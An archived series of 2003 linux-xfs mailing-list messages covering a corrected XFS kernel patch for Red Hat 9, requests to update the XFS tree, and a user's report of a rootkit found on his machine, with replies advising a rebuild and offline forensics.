multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="pWyiEgJYm5f9v55/" Content-Disposition: inline In-Reply-To: <20030911172635.GB13348@de.tecosim.com> User-Agent: Mutt/1.4.1i X-archive-position: 400 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 2835 Lines: 93 --pWyiEgJYm5f9v55/ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi, On Thu, Sep 11, 2003 at 07:26:35PM +0200, Utz Lehmann wrote: > I made a patch which make it compile and working under redhat 9 for me. > I got the idea for the patch from > http://oss.software.ibm.com/pipermail/jfs-discussion/2003-May/001407.html >=20 > I dont know if it is the right fix. But it survived 1h of fsx and a few F= EM > analysis jobs on an UP athlon. >=20 > Maybe it is useful for someone. Thanks, the patch needs two fixes a) "recalc_sigpending;" should become "recalc_sigpending();", otherwise it is simply never called. b) The code from fs/xfs/linux/xfs_syncd.c is now in fs/xfs/linux/xfs_super.c > diff -ru linux-2.4.21-20.1.2024.2.1.nptl/fs/xfs/linux/xfs_syncd.c linux-2= .4.21-20.1.2024.2.1.nptl_teco1/fs/xfs/linux/xfs_syncd.c > +++ linux-2.4.21-20.1.2024.2.1.nptl_teco1/fs/xfs/linux/xfs_syncd.c 2003-0= 9-09 11:32:08.000000000 +0200 > @@ -49,10 +49,10 @@ >=20=20 > daemonize(); > reparent_to_init(); > - spin_lock_irq(¤t->sigmask_lock); > + spin_lock_irq(¤t->sighand->siglock); > sigfillset(¤t->blocked); > - recalc_sigpending(current); > - spin_unlock_irq(¤t->sigmask_lock); > + recalc_sigpending; > + spin_unlock_irq(¤t->sighand->siglock); >=20=20 > sprintf(current->comm, "xfs_syncd"); >=20=20 > diff -ru linux-2.4.21-20.1.2024.2.1.nptl/fs/xfs/pagebuf/page_buf.c linux-= 2.4.21-20.1.2024.2.1.nptl_teco1/fs/xfs/pagebuf/page_buf.c > +++ linux-2.4.21-20.1.2024.2.1.nptl_teco1/fs/xfs/pagebuf/page_buf.c 2003-= 09-09 11:33:26.000000000 +0200 > @@ -1920,10 +1920,10 @@ > daemonize(); >=20=20 > /* Avoid signals */ > - spin_lock_irq(¤t->sigmask_lock); > + spin_lock_irq(¤t->sighand->siglock); > sigfillset(¤t->blocked); > - recalc_sigpending(current); > - spin_unlock_irq(¤t->sigmask_lock); > + recalc_sigpending; > + spin_unlock_irq(¤t->sighand->siglock); >=20=20 > /* Migrate to the right CPU */ > migrate_to_cpu(cpu); > @@ -2021,10 +2021,10 @@ > daemonize(); >=20=20 > /* Avoid signals */ > - spin_lock_irq(¤t->sigmask_lock); > + spin_lock_irq(¤t->sighand->siglock); > sigfillset(¤t->blocked); > - recalc_sigpending(current); > - spin_unlock_irq(¤t->sigmask_lock); > + recalc_sigpending; > + spin_unlock_irq(¤t->sighand->siglock); >=20=20 > strcpy(current->comm, "pagebufd"); > current->flags |=3D PF_MEMALLOC; --=20 Axel.Thimm@physik.fu-berlin.de --pWyiEgJYm5f9v55/ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/ZC8gQBVS1GOamfERAtgSAJsFxxXS9VKFrDSkAPZ088vxSAwB5QCeONXf SjWaJfFHbrk2mKlxntjIbYQ= =cdfC -----END PGP SIGNATURE----- --pWyiEgJYm5f9v55/-- From owner-linux-xfs@oss.sgi.com Sun Sep 14 06:56:52 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 06:57:07 -0700 (PDT) Received: from burgers.bubbanfriends.org (IDENT:postfix@12-222-156-122.client.insightBB.com [12.222.156.122]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8EDuoYa005861 for ; Sun, 14 Sep 2003 06:56:52 -0700 Received: from localhost (unknown [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 3D9D13000CA0 for ; Sun, 14 Sep 2003 08:56:53 -0500 (EST) Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id C26BD3000C9B; Sun, 14 Sep 2003 08:56:51 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id A36D876DC0 for ; Sun, 14 Sep 2003 08:56:51 -0500 (EST) Date: Sun, 14 Sep 2003 08:56:51 -0500 (EST) From: Mike Burger To: linux-xfs@oss.sgi.com Subject: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by AMaViS new-20020517 X-archive-position: 401 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mburger@bubbanfriends.org Precedence: bulk X-list: linux-xfs Content-Length: 1176 Lines: 36 This morning, I found that I'd had the "km3" rootkit, at least, compiled on my system. It doesn't look like they actually got the chance to install and use it, but the km3 kit is a "Linux Kernel Privileged Process Hijacking Vulnerability" which affects kernels 2.21 through 2.2.24 and 2.4.1 through 2.4.21-pre1. I know that Red Hat back ports their patches, which is cool and all, but they released a 2.4.20-20 update some time ago...they currently available kernel from Red Hat addresses the ptrace-related vulnerability that km3 uses, as well as a number of other issues. Unless, of course, the fix is in the 2.4.20-19 kernel, and I failed to realize it. If we could see the current XFS merged into the Red Hat 2.4.20-20 sources, I'd be happy to test them out. Of course, at the moment, I'd be happy if I knew how the hell the bastard got into my system, but that's another story. -- Mike Burger http://www.bubbanfriends.org Visit the Dog Pound II BBS telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 To be notified of updates to the web site, send a message to: site-update-request@bubbanfriends.org with a message of: subscribe From owner-linux-xfs@oss.sgi.com Sun Sep 14 08:01:04 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 08:01:26 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8EF13Ya006736 for ; Sun, 14 Sep 2003 08:01:03 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8EF0wq0025153 for ; Sun, 14 Sep 2003 08:00:58 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8EF0vcc11651056; Sun, 14 Sep 2003 10:00:57 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8EF0uK2240822; Sun, 14 Sep 2003 10:00:57 -0500 (CDT) Date: Sun, 14 Sep 2003 10:00:56 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Mike Burger cc: linux-xfs@oss.sgi.com Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 402 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 662 Lines: 19 If you absolutely need this now, I'd suggest Axel's RPMs from http://atrpms.physik.fu-berlin.de/ - he has the 1.3 patches + 2.4.20 already built. It would be great if we had the bandwidth to always be up to date with Red Hat, but that's not always the case. I didn't know there were serious security issues with -19, so I'll see if we can get -20 done sooner than later. -Eric On Sun, 14 Sep 2003, Mike Burger wrote: > If we could see the current XFS merged into the Red Hat 2.4.20-20 sources, > I'd be happy to test them out. > > Of course, at the moment, I'd be happy if I knew how the hell the bastard > got into my system, but that's another story. From owner-linux-xfs@oss.sgi.com Sun Sep 14 08:47:49 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 08:48:05 -0700 (PDT) Received: from burgers.bubbanfriends.org (IDENT:postfix@12-222-156-122.client.insightBB.com [12.222.156.122]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8EFlmYa010115 for ; Sun, 14 Sep 2003 08:47:49 -0700 Received: from localhost (unknown [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id A10413000CA4; Sun, 14 Sep 2003 10:47:51 -0500 (EST) Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id 59B263000C9C; Sun, 14 Sep 2003 10:47:50 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 57E4176DC0; Sun, 14 Sep 2003 10:47:50 -0500 (EST) Date: Sun, 14 Sep 2003 10:47:50 -0500 (EST) From: Mike Burger To: Eric Sandeen Cc: linux-xfs@oss.sgi.com Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by AMaViS new-20020517 X-archive-position: 403 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mburger@bubbanfriends.org Precedence: bulk X-list: linux-xfs Content-Length: 1399 Lines: 48 I'll check out Axel's RPMs. If they're created against Red Hat's sources, I'll probably be happy. Luckily for me, I have H+BEDV's AntiVir scanning my system, each night, and it detects this type of thing, so I don't think the thing actually got installed to where it can do any damage...but I want to be as safe as possible. Thanks for looking into moving up the tree. On Sun, 14 Sep 2003, Eric Sandeen wrote: > If you absolutely need this now, I'd suggest Axel's RPMs > from http://atrpms.physik.fu-berlin.de/ - he has the 1.3 patches + > 2.4.20 already built. > > It would be great if we had the bandwidth to always be up to date > with Red Hat, but that's not always the case. I didn't know there were > serious security issues with -19, so I'll see if we can get -20 done > sooner than later. > > -Eric > > On Sun, 14 Sep 2003, Mike Burger wrote: > > > If we could see the current XFS merged into the Red Hat 2.4.20-20 sources, > > I'd be happy to test them out. > > > > Of course, at the moment, I'd be happy if I knew how the hell the bastard > > got into my system, but that's another story. > > -- Mike Burger http://www.bubbanfriends.org Visit the Dog Pound II BBS telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 To be notified of updates to the web site, send a message to: site-update-request@bubbanfriends.org with a message of: subscribe From owner-linux-xfs@oss.sgi.com Sun Sep 14 11:20:25 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 11:20:44 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8EIKOYa011946 for ; Sun, 14 Sep 2003 11:20:25 -0700 Received: from puariko.homeip.net (vdp038.hal01.gwc.hol.gr [195.97.11.70]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h8EIKBgc031552 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 14 Sep 2003 20:20:16 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h8EIKCEd002895; Sun, 14 Sep 2003 21:20:12 +0300 Date: Sun, 14 Sep 2003 21:20:12 +0300 From: Axel Thimm To: Eric Sandeen , Mike Burger Cc: linux-xfs@oss.sgi.com Subject: XFS 1.3.0 for latest RH errata and rawhide (was: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20) Message-ID: <20030914182012.GC1896@pua.nirvana> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ZmUaFz6apKcXQszQ" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-archive-position: 404 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 2221 Lines: 66 --ZmUaFz6apKcXQszQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi, should have read this mail first, I guess ;) On Sun, Sep 14, 2003 at 10:00:56AM -0500, Eric Sandeen wrote: > On Sun, 14 Sep 2003, Mike Burger wrote: > > If we could see the current XFS merged into the Red Hat 2.4.20-20 sourc= es,=20 > > I'd be happy to test them out. > >=20 > > Of course, at the moment, I'd be happy if I knew how the hell the basta= rd=20 > > got into my system, but that's another story. > If you absolutely need this now, I'd suggest Axel's RPMs > from http://atrpms.physik.fu-berlin.de/ - he has the 1.3 patches + > 2.4.20 already built. Go to http://atrpms.physik.fu-berlin.de/name/kernel/ and get the kernel for RH 9, 8.0 or 7.3. > It would be great if we had the bandwidth to always be up to date > with Red Hat, but that's not always the case. I didn't know there were > serious security issues with -19, so I'll see if we can get -20 done > sooner than later. You can take the src.rpm from atrpms and rip out lvm/3ware/i2c/v4l2 updates to get a vanilla RH & XFS 1.3.0 kernel. It has also some other nice sideeffects like automatically adding stuff to any kernel-*.config etc. making future upgrade less painfull. On Sun, Sep 14, 2003 at 10:47:50AM -0500, Mike Burger wrote: > I'll check out Axel's RPMs. If they're created against Red Hat's sources= ,=20 > I'll probably be happy. RH and SGI's XFS patches for RH are the base ingredients for atrpms' kernels ;) There are already rawhide kernels (2.4.22-1.2040.nptl) with (only) XFS 1.3.0 patched in for the really brave among you at atrpms. Contact me for getting the URL (Eric already has it), but use it only for filesystems worth about the same as /dev/null. That kernel has been remotely built and not tested by me at all (I am currently on the road). --=20 Axel.Thimm@physik.fu-berlin.de --ZmUaFz6apKcXQszQ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/ZLFcQBVS1GOamfERAlhpAJ4vsLlGgnHcNhwZ0JnXoKnYPt8a2QCdEkqp nKDs2+WbPgPCqEF2wGxpudA= =9e0r -----END PGP SIGNATURE----- --ZmUaFz6apKcXQszQ-- From owner-linux-xfs@oss.sgi.com Sun Sep 14 14:47:50 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 14:47:56 -0700 (PDT) Received: from iris.acsalaska.net (iris.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8ELlnYa016781 for ; Sun, 14 Sep 2003 14:47:50 -0700 Received: from erbenson.alaska.net (26-pm33.nwc.alaska.net [209.112.159.26]) by iris.acsalaska.net (8.12.9/8.12.9) with ESMTP id h8ELlkoe051270 for ; Sun, 14 Sep 2003 13:47:47 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 535C739E4 for ; Sun, 14 Sep 2003 13:47:45 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id AFDE340FF35; Sun, 14 Sep 2003 13:47:45 -0800 (AKDT) Date: Sun, 14 Sep 2003 13:47:45 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 Message-ID: <20030914214745.GD827@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="LTeJQqWS0MN7I/qa" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.36; SA 2.55; spamdefang 1.54 X-archive-position: 405 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 1765 Lines: 54 --LTeJQqWS0MN7I/qa Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Sep 14, 2003 at 10:47:50AM -0500, Mike Burger wrote: > I'll check out Axel's RPMs. If they're created against Red Hat's sources= ,=20 > I'll probably be happy. >=20 > Luckily for me, I have H+BEDV's AntiVir scanning my system, each night,= =20 > and it detects this type of thing, so I don't think the thing actually go= t=20 > installed to where it can do any damage...but I want to be as safe as=20 > possible. oh please. if there are peices of rootkit on your box then whether they installed it or not is IRRELEVANT, your box was compromised, period. you cannot know what they did or did not do, your only responsible recourse is a complete mkfs of all filesystems (i would dd the entire disk with zeros) and a reinstall, then to audit your latest backup of user data (do NOT restore ANY binaries). they could have installed a kernel module which will alter the behavior of arbitrary tools WITHOUT replacing any binary on your system, which means tripwire and the most expensive `antivirus' software will NOT be able to help you. don't think that such a module will show up in lsmod output either, or that its file is visible to you on the filesystem. your box has been compromised, you need to rebuild it. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --LTeJQqWS0MN7I/qa Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9k4gEACgkQJKx7GixEevxtLwCffF5Lb3RKl9gJ4ukkJZABNwGi 0f0AnRu12jVKljZqZkExz0DjZmeOo1tm =Ngc8 -----END PGP SIGNATURE----- --LTeJQqWS0MN7I/qa-- From owner-linux-xfs@oss.sgi.com Sun Sep 14 19:41:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 19:42:03 -0700 (PDT) Received: from burgers.bubbanfriends.org (IDENT:postfix@12-222-156-122.client.insightBB.com [12.222.156.122]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F2fgYa021966 for ; Sun, 14 Sep 2003 19:41:43 -0700 Received: from localhost (unknown [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 9E3AD3000CA2; Sun, 14 Sep 2003 21:41:49 -0500 (EST) Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id 1467E3000C9B; Sun, 14 Sep 2003 21:41:48 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 01C0276DC0; Sun, 14 Sep 2003 21:41:47 -0500 (EST) Date: Sun, 14 Sep 2003 21:41:47 -0500 (EST) From: Mike Burger To: Ethan Benson Cc: linux-xfs@oss.sgi.com Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 In-Reply-To: <20030914214745.GD827@plato.local.lan> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by AMaViS new-20020517 X-archive-position: 406 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mburger@bubbanfriends.org Precedence: bulk X-list: linux-xfs Content-Length: 1927 Lines: 54 Actually, it didn't cost me anything, but that's irrelevant. The reason I found the "infected" files in my /tmp directory, in the first place, was that AntiVir spotted them, and chkrootkit hasn't spotted them anywhere else. You are right, though...I probably do need to reinstall...but I'd still like to know exactly how they got in. On Sun, 14 Sep 2003, Ethan Benson wrote: > On Sun, Sep 14, 2003 at 10:47:50AM -0500, Mike Burger wrote: > > I'll check out Axel's RPMs. If they're created against Red Hat's sources, > > I'll probably be happy. > > > > Luckily for me, I have H+BEDV's AntiVir scanning my system, each night, > > and it detects this type of thing, so I don't think the thing actually got > > installed to where it can do any damage...but I want to be as safe as > > possible. > > oh please. if there are peices of rootkit on your box then whether > they installed it or not is IRRELEVANT, your box was compromised, > period. > > you cannot know what they did or did not do, your only responsible > recourse is a complete mkfs of all filesystems (i would dd the entire > disk with zeros) and a reinstall, then to audit your latest backup of > user data (do NOT restore ANY binaries). > > they could have installed a kernel module which will alter the > behavior of arbitrary tools WITHOUT replacing any binary on your > system, which means tripwire and the most expensive `antivirus' > software will NOT be able to help you. don't think that such a module > will show up in lsmod output either, or that its file is visible to > you on the filesystem. > > your box has been compromised, you need to rebuild it. > > -- Mike Burger http://www.bubbanfriends.org Visit the Dog Pound II BBS telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 To be notified of updates to the web site, send a message to: site-update-request@bubbanfriends.org with a message of: subscribe From owner-linux-xfs@oss.sgi.com Sun Sep 14 20:06:42 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 20:06:48 -0700 (PDT) Received: from malik.acsalaska.net (malik.acsalaska.net [209.112.155.41]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F36fYa022786 for ; Sun, 14 Sep 2003 20:06:42 -0700 Received: from erbenson.alaska.net (205-pm16.nwc.alaska.net [209.112.141.205]) by malik.acsalaska.net (8.12.9/8.12.9) with ESMTP id h8F36d29048545 for ; Sun, 14 Sep 2003 19:06:39 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id AED5B39E4 for ; Sun, 14 Sep 2003 19:06:38 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 30A6B40FF35; Sun, 14 Sep 2003 19:06:38 -0800 (AKDT) Date: Sun, 14 Sep 2003 19:06:38 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 Message-ID: <20030915030638.GF827@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20030914214745.GD827@plato.local.lan> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="924gEkU1VlJlwnwX" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.36; SA 2.55; spamdefang 1.54 X-archive-position: 407 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 2827 Lines: 90 --924gEkU1VlJlwnwX Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Sep 14, 2003 at 09:41:47PM -0500, Mike Burger wrote: > Actually, it didn't cost me anything, but that's irrelevant. The reason = I=20 > found the "infected" files in my /tmp directory, in the first place, was= =20 > that AntiVir spotted them, and chkrootkit hasn't spotted them anywhere=20 > else. >=20 > You are right, though...I probably do need to reinstall...but I'd still= =20 > like to know exactly how they got in. do your forensics before reinstall, but do it with the box OFFLINE. or make an image of the disk if you have space somewhere. > On Sun, 14 Sep 2003, Ethan Benson wrote: >=20 > > On Sun, Sep 14, 2003 at 10:47:50AM -0500, Mike Burger wrote: > > > I'll check out Axel's RPMs. If they're created against Red Hat's sou= rces,=20 > > > I'll probably be happy. > > >=20 > > > Luckily for me, I have H+BEDV's AntiVir scanning my system, each nigh= t,=20 > > > and it detects this type of thing, so I don't think the thing actuall= y got=20 > > > installed to where it can do any damage...but I want to be as safe as= =20 > > > possible. > >=20 > > oh please. if there are peices of rootkit on your box then whether > > they installed it or not is IRRELEVANT, your box was compromised, > > period. > >=20 > > you cannot know what they did or did not do, your only responsible > > recourse is a complete mkfs of all filesystems (i would dd the entire > > disk with zeros) and a reinstall, then to audit your latest backup of > > user data (do NOT restore ANY binaries). > >=20 > > they could have installed a kernel module which will alter the > > behavior of arbitrary tools WITHOUT replacing any binary on your > > system, which means tripwire and the most expensive `antivirus' > > software will NOT be able to help you. don't think that such a module > > will show up in lsmod output either, or that its file is visible to > > you on the filesystem. > >=20 > > your box has been compromised, you need to rebuild it. > >=20 > >=20 >=20 > --=20 > Mike Burger > http://www.bubbanfriends.org >=20 > Visit the Dog Pound II BBS > telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 >=20 > To be notified of updates to the web site, send a message to: >=20 > site-update-request@bubbanfriends.org >=20 > with a message of:=20 >=20 > subscribe >=20 --=20 Ethan Benson http://www.alaska.net/~erbenson/ --924gEkU1VlJlwnwX Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9lLL0ACgkQJKx7GixEevxpYwCcCU6Ga7VVyKUBE6dvGx2MPBzS 7Z0AmwXtx5T6dh4T+nZ5yeZOOSz+y+ht =HX4u -----END PGP SIGNATURE----- --924gEkU1VlJlwnwX-- From owner-linux-xfs@oss.sgi.com Sun Sep 14 20:19:18 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 20:19:34 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F3JHYa025976 for ; Sun, 14 Sep 2003 20:19:18 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8F3abss013712 for ; Sun, 14 Sep 2003 22:36:38 -0500 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8F3IZho003551; Mon, 15 Sep 2003 13:18:35 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8F3IZXu003550; Mon, 15 Sep 2003 13:18:35 +1000 Date: Mon, 15 Sep 2003 13:18:35 +1000 From: Nathan Scott Message-Id: <200309150318.h8F3IZXu003550@bruce.melbourne.sgi.com> Subject: TAKE 900167 - fix inode64 option X-archive-position: 408 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1156 Lines: 36 Separate the big filesystems macro out into separate big inums (long) and blknos (sector_t) macros. Also fix the check for too-large filesystems in the process. This rectifies some bad 32 bit platforms LBD patch interactions. Date: Sun Sep 14 20:13:46 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/nathans/isms/devel The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158357a linux/fs/xfs/xfsidbg.c - 1.235 linux/fs/xfs/xfs_ialloc.c - 1.170 linux/fs/xfs/xfs_vnodeops.c - 1.605 linux/fs/xfs/xfs_fs.h - 1.12 linux/fs/xfs/xfs_itable.c - 1.116 linux/fs/xfs/xfs_cap.c - 1.15 linux/fs/xfs/xfs_acl.c - 1.45 linux/fs/xfs/xfs_inode.c - 1.384 linux/fs/xfs/xfs_dinode.h - 1.66 linux/fs/xfs/dmapi/dmapi_xfs.c - 1.14 linux/fs/xfs/dmapi/dmapi.h - 1.5 linux/fs/xfs/linux/xfs_ioctl.c - 1.94 linux/fs/xfs/linux/xfs_globals.c - 1.56 linux/fs/xfs/linux/xfs_linux.h - 1.109 linux/fs/xfs/linux/xfs_vnode.c - 1.117 linux/fs/xfs/linux/xfs_super.c - 1.268 linux/fs/xfs/linux/xfs_iops.c - 1.196 linux/fs/xfs/linux/xfs_aops.c - 1.46 linux/fs/xfs/linux/xfs_sysctl.c - 1.24 linux/fs/xfs/linux/xfs_sysctl.h - 1.17 From owner-linux-xfs@oss.sgi.com Sun Sep 14 22:11:52 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 22:12:09 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F5BpYa027669 for ; Sun, 14 Sep 2003 22:11:52 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8F5Bjq0021344 for ; Sun, 14 Sep 2003 22:11:46 -0700 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h8F5BfVB1820364; Mon, 15 Sep 2003 15:11:41 +1000 (EST) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id h8F5BfR51821492; Mon, 15 Sep 2003 15:11:41 +1000 (EST) Date: Mon, 15 Sep 2003 15:11:41 +1000 (EST) From: Nathan Scott Message-Id: <200309150511.h8F5BfR51821492@snort.melbourne.sgi.com> To: sgi.bugs.xfs@engr.sgi.com, linux-xfs@oss.sgi.com Subject: TAKE 899755 - new inode flags X-archive-position: 409 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: 